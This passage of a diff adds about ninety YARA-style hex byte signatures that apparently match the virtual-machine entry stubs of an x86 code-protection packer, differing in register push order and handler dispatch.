+		$519 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 51 9C 55 52 53 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$520 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 52 53 57 51 55 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$521 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 55 54 52 51 9C 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$522 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 51 52 55 57 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$523 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 56 50 51 53 52 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$524 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 56 53 57 51 52 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$525 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 55 51 9C 52 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9}
+		$526 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 52 51 55 9C 50 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 0F B6 06 83 ED 02 46 66 89 45 00 E9}
+		$527 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 53 9C 57 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 0F B6 06 66 98 98 46 83 ED 04 89 45 00 E9}
+		$528 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 53 57 51 55 56 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$529 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 9C 50 56 51 55 54 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$530 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 55 50 9C 56 54 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$531 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 50 57 53 56 9C 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$532 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 50 53 56 51 9C 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$533 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 56 50 9C 55 53 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$534 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 52 50 56 57 51 9C 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$535 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 56 9C 56 53 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$536 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 56 53 55 57 9C 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+		$537 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 53 9C 57 55 51 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$538 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 50 56 53 57 9C 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 59 5D 9D 5F 5A 5E 58 5B 5A C3}
+		$539 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 50 55 51 56 9C 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$540 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 51 9C 53 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 C6 04 83 ED 04 89 45 00 E9}
+		$541 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 56 51 50 9C 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$542 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 53 9C 50 50 56 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$543 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 50 53 51 56 55 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$544 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 51 53 52 57 55 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$545 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 51 51 9C 52 57 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+		$546 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 9C 56 53 55 57 54 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$547 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 9C 55 56 57 51 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$548 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 9C 50 51 57 53 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$549 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 9C 57 51 50 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$550 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 56 57 55 53 9C 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$551 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 53 51 50 9C 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$552 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 53 50 55 9C 57 51 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$553 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 55 57 53 9C 50 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$554 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 56 52 9C 50 53 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5F 5D 5B 58 9D 5A 5E 59 59 C3}
+		$555 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 52 56 53 50 55 9C 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+		$556 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 50 55 56 53 9C 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$557 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 52 57 50 53 55 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$558 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 52 53 50 56 57 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$559 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 9C 50 53 56 51 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$560 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 52 9C 57 54 55 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$561 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 57 50 9C 56 52 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$562 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 53 57 50 52 50 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$563 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 9C 50 55 53 54 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$564 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 57 52 55 50 9C 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$565 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 56 53 55 57 9C 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$566 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 50 57 53 56 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$567 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 56 57 53 9C 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$568 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 56 9C 57 53 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$569 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 53 9C 55 51 54 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$570 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 53 50 57 9C 55 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 EC 5B 5E 5D 5D 9D 5F 58 5B 59 5A C3}
+		$571 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 50 56 55 53 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$572 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 9C 55 53 51 56 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$573 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 56 50 52 57 57 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+		$574 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 53 53 56 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+		$575 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 53 50 52 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$576 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 53 51 9C 55 54 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$577 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 53 50 55 51 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$578 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 50 50 56 53 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$579 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 52 50 51 57 56 55 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$580 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 9C 56 50 51 55 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$581 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 56 51 50 9C 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$582 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 52 51 9C 57 53 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$583 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 56 51 52 50 55 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$584 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 53 56 51 57 55 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$585 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 9C 52 52 51 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$586 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 51 55 50 57 9C 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$587 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 9C 56 57 51 50 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+		$588 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 52 55 56 55 50 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$589 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 52 55 50 51 57 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$590 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 51 52 50 51 9C 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 36 88 10 E9}
+		$591 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 57 52 51 9C 53 56 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9}
+		$592 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 51 51 56 50 52 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$593 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 57 51 56 53 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$594 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 57 50 9C 53 56 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$595 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 57 51 52 53 53 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$596 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 52 57 50 55 53 9C 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8A 06 46 83 ED 02 66 89 45 00 E9}
+		$597 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 52 9C 57 56 50 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$598 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 53 57 52 57 56 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$599 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 53 51 56 52 9C 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$600 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 9C 56 52 51 53 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$601 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 57 56 52 50 56 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$602 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 53 56 50 56 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$603 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 53 51 52 50 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$604 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 9C 50 57 57 51 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$605 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 55 56 54 57 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$606 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 54 51 57 52 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$607 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 50 56 57 51 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$608 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 52 55 56 55 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$609 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 50 9C 55 52 50 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9}
+		$610 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 50 52 52 57 55 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$611 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 53 9C 52 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
